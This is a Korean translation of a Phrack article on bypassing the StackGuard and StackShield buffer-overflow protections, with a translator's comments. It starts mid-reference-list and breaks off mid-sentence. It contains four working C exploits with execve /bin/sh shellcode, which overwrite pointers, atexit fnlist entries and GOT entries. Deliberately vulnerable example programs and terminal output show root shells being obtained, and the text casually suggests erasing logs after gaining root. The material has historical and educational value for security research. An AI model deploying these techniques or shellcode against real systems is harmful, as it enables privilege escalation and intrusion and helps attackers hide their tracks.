[2] Crispin Cowan, Steve Beattie, Ryan Finnin Day, Calton Pu, Perry Wagle
and Erik Walthinsen. Protecting Systems from Stack Smashing Attacks with
StackGuard http://www.immunix.org/documentation.html
[3] Security Alert: StackGuard 1.21
http://www.immunix.org/downloads.html
[4] klog. The Frame Pointer Overwrite
http://www.phrack.com/search.phtml?view&article=p55-8
[5] Rafal Wojtczuk. Defeating Solar Designer's Non-executable Stack Patch
http://www.securityfocus.com/templates/archive.pike?list=1&date=1998-02-01&msg=199801301709.SAA12206@galera.icm.edu.pl
----| 저자의 글
이것은 Lam3rz 그룹에 지적 재산이 있다.
이글에 있는 지식은 모든 인류의 지적 재산이다. 이것을 이해하는 사람에는 특히.... :)
|EOF|-------------------------------------------------------------------------|
/* 역자의 글 */
허걱... 드디어 번역을 끝냈습니다. 번역이 정말 이샹야릇하게 되어 어땠는지 모르
겠네요. 번역이 이상한 부분있으면 저에게 연락주시고 이해가 안되는 부분에는 원
문을 참고하여 보면 더 잘이해 될겁니다. ^^; 여기까지 읽으주셔서 정말 감사합니다.
Volume 0xa Issue 0x38
05.01.2000
0x05[0x10]
|------------------- STACKGUARD 와 STACKSHIELD 회피하기 ----------------------|
|-----------------------------------------------------------------------------|
|--------------------- Bulba 와 Kil3r <lam3rz@hert.org> ---------------------|
번역 : 정원교 <andsoon@igrus.inha.ac.kr>
틀린 부분이나 오역이 있으면 저에게 지적하여 메일 주시면 정말 감사하겠습니다.
----| 머리말
"버퍼가 포인터를 덮어쓸 때... 가슴 슬랜 이야기가 시작된다. -_-"
이 글은 StackGuard 혹은 StackShield로 보호되어지는 시스템 상에서 스택 오버플로
우 취약점을 가진 프로그램을 익스플로잇하는 가능성에 대해서 설명할 예정이다. 이것은
스택이 non-executable 일 때와 같은 적의적 환경에서도 가능하다.
----| StackGuard에 대한 고찰
StackGuard의 만든이에 따르면 이것은 "수행과정의 벌점을 부과함으로써 버퍼오버
플로우를 제거할 수 있는 쉬운 컴파일러 테크닉이다."라고 한다. [1]
우리는 독자가 버퍼 오버플로우를 어떻게 공격하는지 익스플로잇 코드를 쓰는 방법을
알고 있는지 등등을 알고 있다고 가정한다. 만약 당신이 이것을 잘 모르면 P49-14를 보
도록 하라.
알맹이만 말하면 우리는 지역 변수 버퍼의 끝을 넘치게 함으로써 함수의 리턴 어드레스
를 바꿀수가 있다. 함수의 리턴 어드레스를 바구는 부정적인 면은 오버플로우된 버퍼의
끝 넘어에 있는 모든 스택 데이타들을 파괴하거나 수정할 수 있다는 점이다.
StackGuard 하는 일은 무엇인가? 그것은 스택상의 리턴 어드레스 옆에 "canary" 워드를
넣는 것이다. 만약 함수가 리턴되었을 때 canary 가 바뀌었다면 스택 공격이 시도되었다
는 것으로 생각하고 syslog에 로깅을 하고 프로그램을 끝낸다.
다음의 도표를 고려하라.
... ...
|-----------------------------------|
| 호출된 함수의 패러미터 |
|-----------------------------------|
| 함수의 리턴 어드레스 (RET) |
|-----------------------------------|
| canary |
|-----------------------------------|
| 지역 프레임 포인터 (%ebp) |
|-----------------------------------|
| 지역 변수들 |
|-----------------------------------|
...
효율적인 사용을 위해서 공격자가 공격 문자열에 "속이는(spoof)" canary 을 내장하
게 해서는 안된다. StackGuard는 canary 스푸핑을 방지하기 위해서 두가지 기술을
제공한다. "terminator" 와 "random"이다.
terminator canary 는 NULL(0x00), CR (0x0d), LF (0x0a) and EOF (0xff) 을 포함한
다. 위 네 가지 문자들은 대부분의 문자열 작동을 멈추게 한다. 그래서 공격이 시스템에
해롭지 않게 한다.
random canary는 프로그램이 실행되는 시간에 랜덤으로 선택되어진다. 그래서 공격
자는 이전에 실행한 실행 이미지를 통해서 canary값을 배울수가 없다. 랜덤 값은 만약
가능하다면 /dev/urandom으로부터 가져오고, 지원되지 않는다면 그날의 시간을 해킹
하여 만들어진다. 이 랜덤한 방법은 대부분의 예측 공격을 막기 충분하다.
----| StackShield
StackShield 는 다른 방법을 사용한다. 그 아이디어는 함수의 리턴 주소 복사본을 나
누어진 스택에 만드는 것이다. 다시 말해서 보호되는 함수의 맨처음과 맨끝에 몇몇
코드를 더함으로써 이루어진다. 함수의 머리말 코드는 특정 테이블에 리턴 주소를
복사하고 그럼 맺음말을 다시 그것을 스택에 복사한다. 그래서 실행 흐름은 바뀌지
않고 유지된다. -- 함수는 항상 그것의 호출자에서 되돌아 간다. 실제 리턴 주소는
저장된 리턴 주소와 비교되지 않는다. 그래서 버퍼 오버플로우가 일어날 발법이없다.
최근 버전은 또한 .TEXT 세그먼트에 포함되지 않는 주소를 가르키는 함수 포인터 호
출에 대항하여 방어책을 더했다. ("그것은 리턴 값이 변하였을 때 프로그램 실행을 종
료한다.")
그 두시스템은 결코 틀리지 않은 것 처럼 보인다. 하지만 그렇지 않다.
----| "Nelson Mengele 를 석방하라"
"...공격자는 리턴 주소 옆에있는 프로그램 내의 다른 포인터(함수 포인터, longjmp 버
퍼와 같은 혹은 스택상이 아니더라두)를 변화시킴으로써 버퍼 오버플로우를 막는
StackGuard를 경유할 수 있다.
오케이.. 그래서 함수의 포인터 혹은 longjmp를 오버플로우시키는 데는 약간의 행운이
필요할까? 이건 내기다. 우리의 버퍼 뒤에 그런 포인터를 찾는 것을 정확하게 말해서
평범한 것은 아니다. 대부분의 프로그램은 전혀 그것을 갖고 있지 않을 수도 있다.
몇몇 다른 포인터를 찾는 것이 더 좋을 지 모른다. 예를 들자.
[root@sg StackGuard]# cat vul.c
// 취약 프로그램 예제
int f (char ** argv)
{
int pipa; // 필요없는 변수
char *p;
char a[30];
p=a;
printf ("p=%x\t -- before 1st strcpy\n",p);
strcpy(p,argv[1]); // <== 최약한 strcpy()
printf ("p=%x\t -- after 1st strcpy\n",p);
strncpy(p,argv[2],16);
printf("After second strcpy ;)\n");
}
main (int argc, char ** argv) {
f(argv);
execl("back_to_vul","",0); //<== 실패하는 실행
printf("End of program\n");
}
당신도 알다시피 우리의 버퍼를 덮어쓰는 것으로 우리는 단지 리턴 주소를 덮어쓴다.
하지만 우리의 프로그램이 StackGuard로 보호되고 있다면 갈팡지팡할 것이다. 하지만
가장 간단한 분명한 길이 항상 최선의 길은 아니다. p 포인터를 덮어써보는 것은 어떨
까? 두번째(안전한) strncpy 작동은 우리가 가르키는 곳으로 바로 갈것이다. p 포인터
를 스택상의 리턴 주소를 가르키게 하면은 어떨까? 그럼 우리는 canary를 건딜 필요도
없이 함수의 리턴 주소를 바꿀수 있다.
그래서 우리의 공격에 필요한 것은 무엇인가?
1. 우리의 버퍼 a[]뒤에 스택상에 물리적으로 존재하는 p 포인터가 필요하다.
2. 이 p 포인터를 덮어쓰는 것을 허락하는 오버플로우 버그가 필요하다.
(바운스 체크를 하지않는 strcpy와 같은 것들..)
3. 소스를 도착지와 사용자가 가르키는 데이타를 *p로 가져갈 수 있는 하나의
*copy() 함수(strcpy, memcopy, 혹은 다른 것들) 가 필요하다. 물론 오버플로우
와 복사 사이에 p 의 초기화가 없어야 한다.
분명히 위의 제한점은 StackGuard로 컴파일된 모든 프로그램이 취약하다는 것을
말하지 않는다. 하지만 그러한 취약점들은 밖에 노출된다. 예를 들면 mapped_path
버퍼가 프로세스 메모리의 어떤 부분을 수정하는 능력을 가지고 있는 setproctitle()
를 사용하는 Argv 와 LastArg 포인터를 덮어쓰는 wu-ftpd2.5 mapped_path 버그가
있다. 당연히 그것은 data 기반의 오버플로우이다.(스탁 기반이 아니다.) 하지만 다른
한편으로 이것은 우리의 위 취약성은 현실세계에 가득히 있다는 것을 정의내려 준다.
그래서 어떻게 그것을 익스플로잇 시킬까?
우리는 p 포인터를 덮어썼다. 그래서 그것은 스택상의 RET 주소를 가르킬 것이다.
그럼 다음 *copy() 함수는 canary를 건딜지 않고 우리의 RET를 덮어쓸것이다.
:) 좋다.. 우리는 또한 쉘코드를 밀수입하는 것도 필요하다.(우리는 argv[0]을 사용
한다.) 밑은 간단한 익스프로잇이다. (우리는 환경 독립적으로 만들기 위해 execle()
를 사용했다.)
[root@sg StackGuard]# cat ex.c
/* Example exploit no. 1 (c) by Lam3rZ 1999 :) */
char shellcode[] =
"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
"\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
"\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
"\xff\xff/bin/sh";
char addr[5]="AAAA\x00";
char buf[36];
int * p;
main() {
memset(buf,'A',32);
p = (int *)(buf+32);
*p=0xbffffeb4; // <<== RET 주소를 가르킨다.
p = (int *)(addr);
*p=0xbfffff9b; // <<== 새로운 RET 값
execle("./vul",shellcode,buf,addr,0,0);
}
StackGuard로 보호되는 RH5.2 상에서 실험하였다.
[root@sg StackGuard]# gcc vul.c -o vul
[root@sg StackGuard]# gcc ex.c
[root@sg StackGuard]# ./a.out
p=bffffec4 -- before 1st strcpy
p=bffffeb4 -- after 1st strcpy
bash#
당신도 알다시피 처음 strcpy는 p 포인터를 덮어썼다. 그럼 strncpy()는 우리의 쉘코
드가 있는 곳의 주소를 RET로 복사한다. 이얏호~
이 기술은 보통 gcc 혹은 StackGuard로 보호되는 gcc에는 작동하지만 StackShield로
컴파일되는 프로그램들은 아직 잘 모른다.
----| 떠먹는 스푼은 없다.
나는 StackGuard 개발자중의 한사람은 Crispin Cowan <crispin@cse.ogi.edu>와
이야기를 했었는데 그는 위의 해킹에 대항할 방법을 제안했다. 밑의 글이 그의 아이
디어이다.
"XOR 랜덤 Canary 방어 시스템 : 이것은 Aaron Grier의 고대 방법을 수용한 것으로
리턴 주소에 xor 랜덤 canary를 채용한 것이다. canary 확인 코드는 함수로 부터
나올때(exit) 사용된다. 적당한 랜덤 canary(exec() 시에 이 함수에 조합되어지는)와
만들어진 XOR의 리턴 주소는 스택상에 기록되어있는 랜섬 canary와 계산되어진다.
만약 공격자가 리턴 주소를 공격했다면 xor의 랜덤 canary는 매치가 되지 않을 것이다.
공격자는 랜덤 canary 값을 알지 못하면 스택상에 못여있는 canary를 계산할 수 없
다. 이것은 이 함수를 위한 랜던 canary와 함께 리턴 주소의 암호화에 영향을 끼칠 것
이다.
우리가 제시하는 도전은 공격자가 임의의 canary 값을 배우는 것으로 부터 그것을 유
지하는 것이다. 이전에 우리는 경고 페이지를 만들어 canary 테이블을 감싸는 것을 제
안했었다. 그래서 버퍼 오버플로우가 canary 값을 추출하는 데 사용돌 하도록 말이다.
하지만 Emsi의 [밑에 설명되어 있다.] 공격이 임의의 주소의 포인터를 종합할 수 있게
되어 포기했다."
가장 간단한 솔루션은)"공격자로부터 막기 위한 mprotect() canary 테이블을 사용하
는 것이다."
우리는 Crispin에게 이에 관한 글을 쓰고 있다고 전했다. 그의 반응은 이렇다.
"나는 월요일쯤에 (XOR 랜덤 canary를 포함하는) StackGuard 컴파일러를 발표할
수 있을 것으로 생각한다."
그리고 그 컴파일러는 발표되었다. [3]
StackShield 는 안전한 장소(임의의 위치와 크기 -- 비록 수행 능력은 늦어질지 몰
라도)에 RET 복사본을 저장함으로써 (대부분의) 같은 보안 레벨 수준을 제공한다.
그리고 함수가 리턴하기 전에 그것의 무결성을 체크한다.
우리는 그것을 경유할 수 있다.
만약 마음대로 다룰수 있는 포인터를 우리가 가지고 있다면 우리는 그것을 프로그램
안에 존재하는 취약한 오버플로우를 익스플로잇 할 수 있게 도와주는 요소로 사용할
수 있다. 예를 들면 atexit(3) 혹은 on_exit(3)을 통해 등록되어진 함수들을 가지고
있는 fnlist 구조체가 그것이다. 물론 이 코드의 가지에 도달하기 위해서는 프로그램은
exit()를 호출하는 것이 필요하다. 하지만 대부분의 프로그램들은 실행의 끝이나 에러
가 일어났을 때 발생한다. (대부분의 경우 우리는 에러를 일으키게 할 수 있다.)
fnlist 구조를 살펴보자.
[root@sg StackGuard]# gdb vul
GNU gdb 4.17.0.4 with Linux/x86 hardware watchpoint and FPU support
[...]
This GDB was configured as "i386-redhat-linux"...
(gdb) b main
Breakpoint 1 at 0x8048790
(gdb) r
Starting program: /root/StackGuard/c/StackGuard/vul
Breakpoint 1, 0x8048790 in main ()
(gdb) x/10x &fnlist
0x400eed78 <fnlist>: 0x00000000 0x00000002 0x00000003 0x4000b8c0
0x400eed88 <fnlist+16>: 0x00000000 0x00000003 0x08048c20 0x00000000
0x400eed98 <fnlist+32>: 0x00000000 0x00000000
우리는 그것이 두 함수를 호출한다는 것을 볼수 있다. _fini [0x8048c20] 과 _dl_fini
[0x4000b8c0] 이다. 그 두가지는 어떠한 인자를 가지고 있다.(fnlist에 대해 이해하기
위해서는 glibc 소스를 체크하라.) 우리는 두 함수를 덮어쓸 수 있다. fnlist 주소는 libc
라이브러리에 독립적이다. 그래서 그것은 특정 머신상에서 모든 프로세스에 대해 같을
것이다.
다음의 코드는 exit()를 통해 프로그램을 종료할 때 취약한 오버플로우를 익스플로잇
한다.
[root@sg StackGuard]# cat 3ex.c
/* Example exploit no. 2 (c) by Lam3rZ 1999 :) */
char shellcode[] =
"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
"\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
"\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
"\xff\xff/bin/sh";
char addr[5]="AAAA\x00";
char buf[36];
int * p;
main() {
memset(buf,'A',32);
p = (int *)(buf+32);
*p=0x400eed90; // <<== 우리가 수정할 fnlist 내의 엔트리 주소
p = (int *)(addr);
*p=0xbfffff9b; // <<== 쉘코드를 호출할 새로운 함수의 주소 :)
execle("./vul",shellcode,buf,addr,0,0);
}
당신도 알다시피 우리의 익스플로잇은 단지 한 줄만 변했다. :)
취약한 프로그램에 대해 테스트를 하자.
[root@sg StackGuard]# gcc 3ex.c
[root@sg StackGuard]# ./a.out
p=bffffec4 -- before 1st strcpy
p=400eed90 -- after 1st strcpy
After second strcpy ;)
End of program
bash#
당신도 알다시피 우리의 프로그램은 정상적인 종료후에 쉘을 우리에게 주었다. 이러한
것은 StackGuard 와 StackShield 도 이러한 공격에 대해 방어하지 못한다.
하지만 우리의 프로그램이 exit()를 호출하지 않고 대신에 _exit()를 사용하면 어떨까?
우리가 canary를 덮어썼을 때 어떤 일이 일어나는지 보자. StackGuard로 보호되는 프로그램
은 __canary_death_handler() (이 함수는 공격시도를 로그에 남기는 것과 프로세스를 종료
하는 책임을 가지고 있다.)를 호출할 것이다. 그것을 보자.
void __canary_death_handler (int index, int value, char pname[]) {
printf (message, index, value, pname) ;
syslog (1, message, index, value, pname) ;
raise (4) ;
exit (666) ;
}
당신도 보다시피 우리는 가장 끝에 exit() 함수 호출을 가지고 있다. 당연히 이러한
방식의 익스플로잇 프로그램은 로그를 생성시킬 것이다. 하지만 만약 다른 방법이 없
다면 그것은 필요한 것이다. 게다가 만약 당신이 r00t를 얻으면, 나중에 지우면 된다.
우리는 Perry Wagle <wagle@cse.ogi.edu> (다른 StackGuard 개발자)로 부터 몇몇
편지를 받았다. " 나는 exit() 대신에 _exit()를 호출하도록 고쳤다." 현재 StackGuard는
_exit()를 호출한다.
물론 위의 해킹 방법은 StackShield에 적용되지 않는다. StackShield 보호는 보호되지 않
는 저장된 %ebp 를 덮어씀으로써 경유될 수 있다. 그것(가장 나쁜 환경)을 익스플로잇 시
키는 한 방법은 프랙 55에 klog가 쓴 "The Frame Pointer Overwrite"에 기술되어 있다.
StackShield 프로그램이 '-z d'옵션으로 컴파일된다면 그것은 _exit()를 호출한다. 하지만
이것은 우리에게 문제가 아니다.
----| 한반도를 발견하기 (역자 : 원래는 미국(America)인데... 제가 그냥 고쳤음)
만약 시스템이 StackGuard 와 StackPatch (스택을 실행할 수 없게 만드는 Solar
Designer의 수정판)로 보호되어진다면 어떻게 해야 할까? 이것이 가장 나쁜 시나리오
일까? 그렇지는 않다.
우리는 위에서 사용한 적이 없는 대단한 기술을 개발했었다.
독자들은 Rafal Wojtczul의 훌륭한 문서 " Defeating Solar Designer's Non-executable
Stack Patch" [5]를 떠올릴 것이다. 그의 대단한 아이디어는 Global Offset Table(GOT)를
패치하는 것이다. 우리의 취약점으로 우리는 임의의 포인터를 생산할 수 있다. 그럼 GOT를
가르켜 보는 것은 어떨까?
머리를 사용하자. 취약한 프로그램을 보기로 하자.
printf ("p=%x\t -- before 1st strcpy\n",p);
strcpy(p,argv[1]);
printf ("p=%x\t -- after 1st strcpy\n",p);
strncpy(p,argv[2],16);
printf("After second strcpy :)\n");
좋아. 프로그램은 우리의 포인터에 우리의 질의[argv[2]를 쓴다. 그럼 그것은 라이브러리
코드 printf()를 실행한다. OK, 그래서 우리가 해야할 일은 libc system() 주소로 printf()의
GOT를 덮어 쓰는 것이다. 그럼 그것은 system("After second strcpy :)\n");을 실행할
것이다. 실제로 테스트 해보자. 이것을 하기 위해서는 우리는 printf()의 Procedure Linkage
Table(PLT)를 역어셈블해야 한다.
[root@sg]# gdb vul
GNU gdb 4.17.0.4 with Linux/x86 hardware watchpoint and FPU support
[...]
This GDB was configured as "i386-redhat-linux"...
(gdb) x/2i printf
0x804856c <printf>: jmp *0x8049f18 <- printf()'의 GOT 엔트리
0x8048572 <printf+6>: pushl $0x8
(gdb)
OK. 그래서 printf()의 GOT 엔트리 값은 0x8049f18이다. 우리에게 할 일은 이 위치(
0x8049f18)에 libc system() 주소를 놓는 것이 전부이다. Rafal의 글에 따르면 우리는
우리의 system() 주소를 계산할 수 있다. 그 글에서는 0x40044000+0x2e740로 나와 있다.
0x2e740은 libc 라이브러리 내에 __libc_system()의 오프셋이다.
[root@sg]# nm /lib/libc.so.6| grep system
0002e740 T __libc_system
0009bca0 T svcerr_systemerr
0002e740 W system
[ 공지 : 독자는 우리가 Solar의 패치가 적용되지 않은 커널을 사용하고 있다고 눈치
채고 있을 것이다. 우리는 부팅후 init(8) halt의 문제를 가지고 있다. 그래서 이글을
phrack 측에 넘겨야 할 시간도 거의 다 되어가고 해서 커널 패치가 적용되지 않은
것으로 하기로 결정했다. 그래서 변화된 부분이 0x40 부분이다. Solar의 패치가
적용된 시스템상에서는 libc는 0x00XXYYZZ이다. 그래서 예로든 위 주소가
0x00044000+0x2e740인 것이다. 0x00으로 시작하는 것은 우리의 문자열이 종료되
었음을 의미한다. StackPatch가 StackGuard와 잘붙는지는 우리는 100% 장담을
하지 못한다. 그것은 붙여야만 만다. ㅠ.ㅠ 만약 그렇지 않더라두 어떻케든 붙일수
있을 것이다. ㅠ.ㅠ 우리는 아직 확실하지 않다. 만약 어떤 아는 것이 있다면 우리에
게 말해달라. ]
OK, 다음의 익스플로잇을 테스트해보자.
[root@sg]# cat 3ex3.c
/* Example exploit no. 3 (c) by Lam3rZ 1999 :) */
char *env[3]={"PATH=.",0};
char shellcode[] =
"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
"\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
"\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
"\xff\xff/bin/sh";
char addr[5]="AAAA\x00";
char buf[46];
int * p;
main() {
memset(buf,'A',36);
p = (int *)(buf+32);
*p++=0x8049f18;// <== printf() GOT 엔트리 주소
p = (int *)(addr);
*p=0x40044000+0x2e740;// <<== libc system()의 주소
printf("Exec code from %x\n",*p);
execle("./vul",shellcode,buf,addr,0,env);
}
테스트 해보자!!!!
[root@sg]# gcc 3ex3.c
[root@sg]# ./a.out
Exec code from 40072740
p=bffffec4 -- before 1st strcpy
p=8049f18 -- after 1st strcpy
sh: syntax error near unexpected token `:)'
sh: -c: line 1: `After second strcpy :)'
Segmentation fault (core dumped)
흠... 작동하지 않았다.
불행하게도 실행되었을 때 printf() 문자열이 특정한 쉘 문자들을 포함하고 있다.
대부분의 경우 만약 우리가 system() 실행하기 위해서 printf()를 익스플로잇
했다면 그것은 "Here we blah, blah and blah"와 같은 것을 실행 할 것이다. 그
해서 우리가 우리의 디렉토리에 "Here" 쉘 스크립트만 만들면 되었다. (그렇다,
우리는 우리의 suid 프로그램을 PATH 변수에 세팅할 필요가 없다.)
그래서 우리의 예상하지 못한 ':)' 을 위해 해야 할 일은 무엇인가?
이것은 마지막 인자로써 평범한 텍스트를 가져오는데 의존한다. 때때로 당신은 printf()
에 대한 것을 잊고 우리의 익스프로잇 뒤에 실행되는 함수를 찾아야 할 때도 있다. 하지만
때때로 우리는 행운을 얻을 수도 있다. 우리의 a[] 버퍼는 마지막 지역 변수임을 상상하라
그래서 우리의 취약한 함수로 호출되는 함수들 지나 있는 인자들은 스택상에 옆에 있을 것
이다. canary를 push하는 것을 지나치도록 __libc_system()에 설득해 보는 것은 어떨까?
우리는 __libc_system() 대신에 __libc_system()으로 점프함으로써 이것을 이룰 수 있을
것이다. 그럼. 다음 자리로 +인자 만큼 시프트하기 될것이다. (간단히 말하면 arg1 -> arg2
가 됨) 그리고 스택상의 마지막 지역 변수의 처음 4바이트는 처음 인자로 다루어질 것이다.
printf() 호출은 단지 하나의 인자를 남용하기 위해서다. 그래서 system() 함수가 얻을 인자는
단지 a[] 의 처음 4바이트에 포함된 포인터을 것이다. 그럼 그것을 '/bin/sh'을 가르키게 하
거나 다른 비슷한 것을 가르키게 하면 된다.
StackGuard, StackShield 그리고 StackPatch를 작동하는 곳에서는 GOT를 덮어써라.
그것은 우리가 모든 질의를 다룰 수 없고 어떤 부분만 복사할 수 있는 능력만 있을 경우에
사용되어 질수 있다. ( wu-ftpd에서 처럼)
----| "반지르르한 길" (역자 주 : 점점 가속도가 붙어 가는 길을 말함)
독자들은 아마 우리가 단지 고지직한 예들만 다루었고, 그것이 실제 상황에서는 찾기 어
려울 것이다라고 생각할 것이다. 문자열의 모든 것을 인자로 받는 취약한 함수는 다소
이상하다. 좀 더 현실성 있는 함수를 아마 당신은 밑에서 찾을 것이다.
int f (char *string) {
[...]
char *p;
char a[64];
[...]
이것을 체크하자:
char dst_buffer[64]; /* 마지막 도착점 */
int f (char * string)
{
char *p;
char a[64];
p=dst_buffer; /* 포인터 초기화 */
printf ("p=%x\t -- before 1st strcpy\n",p);
strcpy(a, string); /* 문자열 */
/* 해석하기, 복사하기, 연결하기.. 문자열 흑마술~~(-_-;)(black-string-magic) */
/* 예스!, 우리의 데이터를 오염시킬 것이다.
printf ("p=%x\t -- after 1st strcpy\n",p);
strncpy(p, a, 64); /* 문자열 잘라내기 */
printf("After second strcpy ;)\n");
}
int main (int argc, char ** argv) {
f(argv[0]); /* 서문 */
printf("End of program\n");
}
당신은 하나의 문자열만 통과시킴으로써 취약한 함수와 상호 대화한다.
하지만 우리가 비-실행 스택의 시스템을 다루게 될땐 어떻게 해야할까? 그리고 라
이브러리가 다소 이상한 주소(안에 NULL이 들어가있는)로 매핑되어 있으면 어떻
게 할가? 스택이 비-실행으로 되어 있기 때문에 우리는 스택상의 우리의 주소를
GOT로 패치시킬 수 없다.
마치 뒤틀린 것 처럼 보인다. 하지만 잘 읽어봐라!! 우리의 시스템은 x86에 기반하고 있
으며 특정 메모리 페이지를 실행하게 하는 능력에 관한 잘못된 개념들도 많이 있다.
/proc/*/maps를 체크하자.
00110000-00116000 r-xp 00000000 03:02 57154
00116000-00117000 rw-p 00005000 03:02 57154
00117000-00118000 rw-p 00000000 00:00 0
0011b000-001a5000 r-xp 00000000 03:02 57139
001a5000-001aa000 rw-p 00089000 03:02 57139
001aa000-001dd000 rw-p 00000000 00:00 0
08048000-0804a000 r-xp 00000000 16:04 158
0804a000-0804b000 rw-p 00001000 16:04 158 <-- GOT 부분은 이곳이다.
bfffd000-c0000000 rwxp ffffe000 00:00 0
GOT가 비-실행으로 보인다. 하지만 놀랍게 아니다!!!!! 오래된 인텔 CPU는 당신 바라는
곳의 GOT를 실행함을 허락한다. 그래서 우리가 해야 할 것은 그곳에 쉘코드를 올려 놓구
GOT 엔트리를 그곳을 가르키게 하구 나서 의자뒤로 누워 가겹게 그것을 즐기는 것이
전부이다.
그것을 쉽게 하기 위해서, 여기 조금의 힌트가 있다.
우리가 제공하는 익스플로잇 코드에서 두 줄만 바꿔주면 된다.
*p=0x8049f84; // 우리의 strncpy 작동의 도착점
[...]
*p=0x8049f84+4; // 우리의 쉘코드의 주소
우리가 해야 할 일은 우리가 원하는 곳에 정확히 쉘코드를 복사할 수 있는 복사 과정이
다. 우리의 쉘코드는 최적화되어 있지 않다. 그래서 그것은 40바이트 보다 더 크다.
하지만 당신이 좀더 영리하다면 충분히 당신은 jmp, call, popl등을 제거해서 작게 쉘코
드를 만들 수 있기 때문이다. (jmp, call, popl를 제거하는 것은 이미 당신의 주소를
알고 있기 때문에 제거할 수 있다.)
우리가 고려해야 할 다른 것은 시그널들이다. 함수의 시그널 핸들러는 잘못된(fuck up)
GOT로 함수를 호출할려고 할것이다. 그럼 프로그램은 뻗어버를 것이다. 하지만 그것은
단지 이론적인 위험성이다.
이제 무엇을 해야 할까?
우리의 취약한 프로그램이 맘에 들지 않나?
그것이 당신에게 다소 비현실적으로 보이지 않나?
그럼 우리는 당신이 바라는 것을 만족시켜 주지:
char global_buf[64];
int f (char *string, char *dst)
{
char a[64];
printf ("dst=%x\t -- before 1st strcpy\n",dst);
printf ("string=%x\t -- before 1st strcpy\n",string);
strcpy(a,string);
printf ("dst=%x\t -- after 1st strcpy\n",dst);
printf ("string=%x\t -- after 1st strcpy\n",string);
// 공급된 문자열에 의해 몇몇 흑마술이 행해졌다.
strncpy(dst,a,64);
printf("dst=%x\t -- after second strcpy :)\n",dst);
}
main (int argc, char ** argv) {
f(argv[1],global_buf);
execl("back_to_vul","",0); //<-- 실패하는 실행구문.
// 이것을 넣은 어떤 이유도 없다. 기냥~
// :)
printf("End of program\n");
}
이 예제에서 우리는 canary 와 RET 값 뒤 스택상에 존재하는 우리의 포인터(dst)를 가
지고 있다. 그래서 우리는 canary를 죽이는 거 없이 RET를 변화시킬 수 없다. 잡을 것
도 없이....
혹은 우리가 할 수 있을까?
StackGuard 와 StackShield 는 그것의 호출자로 리턴하기 전에 RET가 바뀌었는지
체크한다. (이것은 함수의 맨 뒤에 행해진다.) 대부분의 경우에서 우리는 취약한 프로그램
을 콘트롤 할수 있는 충분한 시간을 가지고 있다.
우리는 다음으로 호출된 라이브러리 함수의 GOT 엔트리를 덮어씀으로써 그것을 할 수 있
다.
우리는 canary가 살아있는지 혹은 죽었는지 상관할 필요없고, 리컬 변수들의 순서에
관해 걱정할 필요가 없다. 단지 즐기면 되는 것이다.
이것이 익스플로잇이다:
/* Example exploit no. 4 (c) by Lam3rZ 1999 :) */
char shellcode[] = // 48 chars :)
"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
"\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
"\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
"\xff\xff/bin/sh";
char buf[100];
int * p;
main() {
memset(buf,'A',100);
memcpy(buf+4,shellcode,48);
p = (int *)(buf+80); // <=- 두번째 f() 인자의 오프셋 [dest one]
*p=0x8049f84;// <<== printf의 GOT 엔트리
p = (int *)(buf);
*p=0x8049f84+4;// <<== printf의 GOT 엔트리 + 4, 우리의 쉘코드가 있다. :)
execle("./vul2","vul2",buf,0,0);
}
결과는 이렇다.
[root@sg]# ./a.out
p=804a050 -- before 1st strcpy
argv1p=bfffff91 -- before 1st strcpy
p=8049f84 -- after 1st strcpy
argv1=41414141 -- after 1st strcpy
bash#
----| 결론
1) StackGuard/StackShield 는 우연한 버퍼 오버플로우의 경우에 당신을 구해 주겠지만
프로그래머의 어리석음에 대해서는 아닐 것이다. Erreare humanum est, [역자 : 뭔말인
지 모르겠네요.. 스페인 말 같기두 하구... 끙... ㅠ.ㅠ] 옳은 소리이다. 하지만 보안 프로그래
머들은 단순히 인간이면 안된다. 그들은 보안을-아는-인간이여야 한다.
2) - 당신의 코드를 감사함으로써 - 당신은 조금의 시간을 보내게 될것이다. 하지만 당신은
당신이 짜는 프로그램의 보안을 높일 수 가 있을 것이다.
- StackGuard/StackShield/다른 무엇을 사용함으로써 - 당신은 당신의 시스템 수행능력
을 떨어뜨릴 것이지만 결과적으로 보안 레벨을 높일 것이다.
- 당신의 프로그램을 보호하지는 어떤 일도 하지 않을 때 - 어떤 사람은 당신의 코드를 오버플
로우 시켜 익스플로잇 함으로써 당신을 위험하게 할 것이다. 만약 그것이 일어났을 때 당신
은 끝장날 것이다. -_- [역자 : 무섭당...]
그래서 완벽하게 방어라고 보호하라 그렇지 않음 다른 사람들이 당신을 하찮게 볼것이다.
우리는 어떤 훌륭한 멘트나 증진을 위한 충고를 환영하고 있다. 당신은 Lam3rz 메일링 리스트
<lam3rz@hert.org>로 우리와 연락할 수 있다.
네, 네... 우리는 알고 있다!!! 아직 실제로 작동하는 익스플로잇이 없다는 것을 :( 우리는 그것을
위해 일하고 있다. 언제나 이 홈페이지를 체크해 보라.
http://emsi.it.pl/
와
http://lam3rz.hack.pl/
----| 추가 : 2000년 1월 5일
우리는 Solar Designer의 비-실행(non-executable) 스택 패치를 한 StackGuard 문제를
해결했다. 우리는 무엇이 문제인지는 모르겠지만 그것을 피하기 위해서는 커널 설정시
'Autodetect GCC trampolines' 와 'Emulate trampoline calls'를 가능하게 하라. 우리는
StackGuard 와 트램폴린(trampoline 역자 주 : 사전을 보니 "쇠틀 안에 스프링을 단 즈크의
탄성을 이용하여 도약하는 운동기구"라고 되어 있네요.. 뭔지 대충 기억이 나는데 이름이 어떻게
